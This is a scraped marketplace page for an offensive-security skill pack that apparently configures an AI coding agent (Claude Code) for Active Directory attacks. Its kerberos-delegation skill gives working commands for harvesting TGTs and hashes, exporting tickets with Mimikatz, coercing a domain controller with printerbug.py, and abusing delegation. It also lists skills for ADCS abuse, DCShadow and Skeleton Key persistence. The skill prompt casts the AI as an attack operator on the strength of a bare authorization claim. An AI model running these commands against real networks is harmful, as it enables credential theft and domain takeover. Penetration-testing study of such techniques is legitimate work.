acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Exploits Kerberos delegation misconfigurations for privilege escalation and lateral movement in Active Directory. Covers Unconstrained Delegation (TGT harvesting via coercion), Constrained Delegation (S4U2Self + S4U2Proxy with SPN swapping), and Resource-Based Constrained
$ npx -y skills add blacklanternsecurity/red-run --skill kerberos-delegation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/kerberos-delegationContext preview
The summary Claude sees to decide when to auto-load this skill.
Exploits Kerberos delegation misconfigurations for privilege escalation and lateral movement in Active Directory. Covers Unconstrained Delegation (TGT harvesting via coercion), Constrained Delegation (S4U2Self + S4U2Proxy with SPN swapping), and Resource-Based Constrained
name: kerberos-delegation description: > Exploits Kerberos delegation misconfigurations for privilege escalation and lateral movement in Active Directory. Covers Unconstrained Delegation (TGT harvesting via coercion), Constrained Delegation (S4U2Self + S4U2Proxy with SPN swapping), and Resource-Based Constrained Delegation (RBCD via writable machine accounts). keywords: - delegation - unconstrained delegation - constrained delegation - RBCD - resource-based constrained delegation - S4U - S4U2Self - S4U2Proxy - TrustedForDelegation - msDS-AllowedToDelegateTo - msDS-AllowedToActOnBehalfOfOtherIdentity - TGT harvesting - SpoolService - printer bug - SPN swapping - altservice tools: - Impacket - Rubeus - bloodyAD - NetExec - krbrelayx - SpoolSample opsec: medium
You are helping a penetration tester exploit Kerberos delegation misconfigurations for privilege escalation and lateral movement. All testing is under explicit written authorization.
**Kerberos-first authentication**: All commands default to Kerberos auth via ccache. Convert credentials to a TGT first, then use `-k -no-pass` (Impacket), `--use-kcache` (NetExec), or `/ticket:` (Rubeus) throughout.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`krbrelayx`, `SpoolSample`/`dementor.py`/`PetitPotam`
**Kerberos-first workflow**:
getTGT.py DOMAIN/user -hashes :NTHASH # or with AES (preferred) getTGT.py DOMAIN/user -aesKey AES256KEY export KRB5CCNAME=user.ccache # All subsequent commands use -k -no-pass
Identify delegation-configured accounts. Skip if already provided by **ad-discovery** or conversation context.
# NetExec nxc ldap DC.DOMAIN.LOCAL --use-kcache --trusted-for-delegation # bloodyAD bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \ --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' \ --attr sAMAccountName,userAccountControl # PowerView (Windows) Get-DomainComputer -Unconstrained -Properties name,dnshostname
Note: Domain Controllers always have unconstrained delegation. Focus on **non-DC** computers with `TRUSTED_FOR_DELEGATION`.
# NetExec nxc ldap DC.DOMAIN.LOCAL --use-kcache --delegated-to # bloodyAD bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \ --filter '(msds-allowedtodelegateto=*)' \ --attr sAMAccountName,msds-allowedtodelegateto # PowerView (Windows) Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto # BloodHound Cypher MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
# bloodyAD — find computers you can write to bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get writable \ --otype COMPUTER --right WRITE --detail # Check MachineAccountQuota (for creating attacker computer) bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \ 'DC=DOMAIN,DC=LOCAL' --attr ms-DS-MachineAccountQuota # Check existing RBCD nxc ldap DC.DOMAIN.LOCAL --use-kcache -M rbcd
| Finding | Go To | |---------|-------| | Non-DC computer with unconstrained delegation + local admin | Step 2 | | Service account/computer with `msDS-AllowedToDelegateTo` | Step 3 | | Write access to a computer's AD object | Step 4 | | GenericAll/WriteDACL on computer + MachineAccountQuota > 0 | Step 4 |
**Concept**: When a user authenticates to an unconstrained delegation host, their TGT is cached in LSASS. With local admin on that host, extract the TGT and impersonate that user anywhere.
**Requirements**:
# Rubeus — monitor for new TGTs (run before coercion) .\Rubeus.exe monitor /interval:1 /nowrap # Mimikatz — export all cached tickets privilege::debug sekurlsa::tickets /export
Force a DC or high-value target to authenticate to the unconstrained host.
**Print Spooler (MS-RPRN) — SpoolService Bug**:
# Check if Print Spooler is running ls \\DC01\pipe\spoolss # Windows rpcdump.py DOMAIN/user@DC01 -k -no-pass | grep MS-RPRN # Linux # Coerce DC to authenticate to unconstrained host python3 printerbug.py 'DOMAIN/user:password'@DC01 UNCONSTRAINED-HOST # O
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…